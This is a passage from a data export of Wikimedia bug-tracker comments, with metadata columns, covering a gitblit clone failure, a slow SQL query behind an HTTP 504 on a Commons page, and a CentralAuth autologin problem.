+The Git Repos that start with gerrit.wikimedia.org work fine, just those at git.wikimedia.org are not working.",,,1380179445,,PHID-USER-wtbw6n3qdyre3vir7o3z,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+252781,First clone for a repository from gitblit fails with HTTP 405,Is anyone actually looking into this?,,,1380179388,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,False,,,-92,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+252776,First clone for a repository from gitblit fails with HTTP 405,"I can reproduce that as well. And yes, it is weird.
+It seems however that only cloning from gitblit is affected. Cloning
+directly from gerrit works as expected:
+
+ git clone https://gerrit.wikimedia.org/r/mediawiki/extensions/AJAXPoll",,,1379752914,,PHID-USER-pntojlcbclwhuip53bix,True,,,PHID-TASK-clkereghqucvvv2xs4zj,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+56122,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Requesting https://commons.wikimedia.org/wiki/User:CommonsDelinker/commands?action=edit often returns 
+
+HTTP 504: Gateway Timeout. 
+
+This does not happen when requesting the page with a high frequence but if you do it e.g. once an hour. Just look at https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&action=history where I dump the profiling report of this page using https://commons.wikimedia.org/wiki/User:Rillke/profile.js -- about every third request fails.
+
+Other users experience this issue as well:
+https://commons.wikimedia.org/w/index.php?title=Commons:Administrators%27_noticeboard&oldid=104206956#Extremely_slow_performance_to_open_edit_interface_of_COM:CDC
+
+If I remember correctly, this is an issue for a long time. Updating the page via API often works without any issues (but is slow). The page is regularly queried and updated by a bot: http://toolserver.org/~delinker/helper.txt
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53577
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49734",High,80.0,1379160000,1412966568.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-dh2vakf5sbvxwgt7snat,task_description,resolved,True,c3,1,False,False,True,-94,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+235223,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to Andre Klapper from comment #14)
+> Is that still an issue experienced?
+
+Sorry for the late reply.. Nope. Worked fine in the last months.
+
+(Maybe a other software change fixed this, closing now as RES - FIX)",,,1412966568,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-38,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1
+235216,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1412958784,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+235210,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Is that still an issue experienced?,,,1411336307,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+235204,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,I see. Thanks for correcting me!,,,1394797315,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+235197,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"There is nothing the maintainers of the tool can do here, so it shouldn't be a bug of the tool, IMHO.",,,1394717648,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-68,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+235190,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"This error is not in the tool's code though, adding keyword",,,1394717261,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+235182,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #8)
+Is there anything I could help with?",,,1381580715,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-90,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+235175,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"The truncated query in comment #6 comes from the same class as bug 53577 but forces different indexes. So, possibly it's the same type of problem, but need to see a complete example.",,,1379613073,,PHID-USER-lxluxbieyr4tgfyp5jru,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+235169,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Sean: Could you answer comment 6, please? Thanks in advance!",,,1379545937,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+235164,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,Can a tech please confirm this is an instance of Bug 53577 ?,,,1379453344,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+235156,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Also:
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104293543",,,1379453115,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+235151,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"And I found something interesting:
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104442630
+* https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104401867
+
+
+The following took ~50s!
+
+query: SELECT log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags FROM `logging` FORCE INDEX (page_time,user_time,log_user_type_time) LEFT JOIN `user`",,,1379452866,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+235145,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"So here is the complete message:
+<head><title>504 Gateway Time-out</title></head>
+<body bgcolor=""white"">
+<center><h1>504 Gateway Time-out</h1></center>
+<hr><center>nginx/1.1.19</center>
+</body>
+</html>
+----
+https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104491400 22:37, 16 September 2013
+----
+If you need a special response header for debugging, please let me know.",,,1379398992,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+235137,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"(In reply to comment #1)
+The issue is that there were not a lot of templates on the page at the time the requests failed:
+Exmaple:
+17:40, 14 September 2013 ( https://commons.wikimedia.org/w/index.php?title=User:Rillke/CDC_mystery&oldid=104315333 )
+
+https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&oldid=104314668 ( https://commons.wikimedia.org/w/index.php?title=User:CommonsDelinker/commands&action=edit&oldid=104314668 )
+CPU time usage	0.656 seconds
+Real time usage	0.767 seconds
+Preprocessor visited node count	1285/1000000
+Preprocessor generated node count	4672/1500000
+Post-expand include size	60326/2048000 bytes
+Template argument size	29773/2048000 bytes
+Highest expansion depth	12/40
+Expensive parser function count	33/500",,,1379361807,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,False,,,-94,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1
+235129,Opening Commons Delinker command page on wiki sometimes returns HTTP 504: Gateway Timeout -- SQL query sometimes super slow,"Isn't this just the ""standard"" timeout for (uncached/just edited) pages with a lot of templates, like [[m:User:Cbrown1023/Logos]]?",,,1379342111,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dh2vakf5sbvxwgt7snat,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1
+56119,Autologin autocreate is not working,"Steps I followed to reproduce:
+1) Pick or produce an account registered on it.wikt (home), en.wikt, it.source, en.source; clear all cookies and start new incognito window on Chromium (27.0.1453.93 200836)
+2) Visit ru.wikt
+3) Login on it.wikt
+4) Visit ru.wikt
+I. Expected: I am logged in (account is autocreated).
+II. Actual: Account is not created and I am not logged in. (Not bug 45578 comment 3 because I had visited the site.)
+5) Visit en.wikt
+III. Expected: I am logged in (account already exists).
+IV. Actual: I am logged in.
+6) Visit it.source
+Same as III, IV.
+7) Visit en.source
+Same as III, IV.
+
+In some previous test I was not logged in at step 7 (i.e. in other projects but same language subdomain, but not same project different language), I don't know what happen.
+The messy situation at [[Special:CentralAuth/Bug 16864 test]] is due to bug 16864: if you sort by date you can spot the accounts autocreated by logging in on wikimania2013 and outreach (without any logic). I don't know how the various bugs are interacting here.
+
+--------------------------
+**Version**: master
+**Severity**: major",High,80.0,1379156700,1380299259.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-o25zkcehzgmefdahshod,task_description,invalid,True,c3,1,True,False,True,-94,True,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+234975,Autologin autocreate is not working,"(In reply to comment #16)
+> Feel free to reopen if
+> it
+> can be demonstrated that that's not the case.
+
+Yes, I planned to retest this after the fix for bug 54292 is deployed.",,,1380301145,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+234967,Autologin autocreate is not working,"I'm going to mark this RESOLVED INVALID, per comment 12 that the main complaint here an issue with one wiki's TitleBlacklist configuration (and the followup complaint in comment 13 seems covered by bug 54292). Feel free to reopen if it can be demonstrated that that's not the case.",,,1380299259,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+234962,Autologin autocreate is not working,"(In reply to comment #14)
+> (In reply to comment #13)
+> > However, why did I have to manually login on the first of (it|en).source to
+> > create the account on step 1?
+> 
+> Possibly bug 54292?
+
+Indeed that bug might be the correct formulation of what I tried to report here. I'll check better later.",,,1379609214,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1
+234958,Autologin autocreate is not working,"(In reply to comment #13)
+> However, why did I have to manually login on the first of (it|en).source to
+> create the account on step 1?
+
+Possibly bug 54292?",,,1379606982,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+234953,Autologin autocreate is not working,"(In reply to comment #12)
+> That didn't really help. Looking at the connections to ruwiktionary in
+> attachment 13304 [details], I see all the correct cookies were sent so you
+> *should* have
+> been logged in.
+> 
+> ..... Ugh. Have you tried it with a username that isn't caught by
+> ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits
+> running"", or any of their other very restrictive blacklist rules? Or can you
+> reproduce it on any wiki other than ruwiktionary (or one with the same sort
+> of
+> rules)?
+
+Sigh. I chose a random wiki to avoid bias, I should have used one of those super-small languages as I usually do. However, why did I have to manually login on the first of (it|en).source to create the account on step 1? I'll try to reproduce again elsewhere...",,,1379545086,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234948,Autologin autocreate is not working,"That didn't really help. Looking at the connections to ruwiktionary in attachment 13304, I see all the correct cookies were sent so you *should* have been logged in.
+
+..... Ugh. Have you tried it with a username that isn't caught by ruwiktionary's TitleBlacklist rule "".*\d{5,}.* <newaccountonly>   # 5+ digits running"", or any of their other very restrictive blacklist rules? Or can you reproduce it on any wiki other than ruwiktionary (or one with the same sort of rules)?",,,1379535771,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,1,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234942,Autologin autocreate is not working,"So, to expand on the comment above, in the first attempted auto-login after account creation there wasn't any call to login code or special pages that I could see; in step 4 there were some but apparently not successful.",,,1379460232,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+234936,Autologin autocreate is not working,"Created attachment 13305
+Step 4 net-internals export
+
+**Attached**: {F11174}",,,1379460157,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234929,Autologin autocreate is not working,"Created attachment 13304
+Step 3-4 HARs and URL_REQUEST details
+
+**Attached**: {F11173}",,,1379459785,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234921,Autologin autocreate is not working,"Created attachment 13303
+Special:CentralAutoLogin calls step 4
+
+**Attached**: {F11172}",,,1379459723,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234914,Autologin autocreate is not working,"Created attachment 13302
+Special:CentralAutoLogin calls step 3
+
+**Attached**: {F11171}",,,1379459677,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234906,Autologin autocreate is not working,"Created attachment 13301
+Special:CentralAutoLogin calls 2
+
+**Attached**: {F11170}",,,1379459590,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234898,Autologin autocreate is not working,"Created attachment 13300
+Special:CentralAutoLogin calls 1
+
+**Attached**: {F11169}",,,1379459547,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234895,Autologin autocreate is not working,"Created attachment 13299
+Step 1 (account creation) HARs
+
+**Attached**: {F11168}",,,1379459469,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+234891,Autologin autocreate is not working,"I reproduced again with steps as above, with [[Special:CentralAuth/Bug_54119_test]]; I stopped at step 4 because that's what you requested. There is no need to obfuscate headers because it's a throw-away account.
+I forgot to follow the instructions closely on it.wikt login, so I only have HAR files for that and step 0. Note that in step 0 I had to manually login on it.source (but not en.source) to create the account.
+Attachments follow.",,,1379459248,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-o25zkcehzgmefdahshod,task_subcomment,,True,c3,1,True,,,-94,True,0,0,0,0,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+234886,Autologin autocreate is not working,"Can't reproduce, tried with both Firefox 24.0 and with Chromium 29.0.1547.57. Although I didn't specifically test having the *home* wiki as itwiktionary.
+
+If you can capture the HTTP request and response headers for the following (obscure the values of any cookies with names ending in ""Token"" or ""Session"", but please indicate which were the same across requests), that would be helpful:
+* The POST of the login form on itwiktionary, and all the subsequent redirects
+* Any calls to Special:CentralAutoLogin on the HTML page from the previous
+* The request on ruwiktionary after having logged in on itwiktionary
+* Any calls to Special:CentralAutoLogin on the HTML page from the previous (there shouldn't be any, though)
+
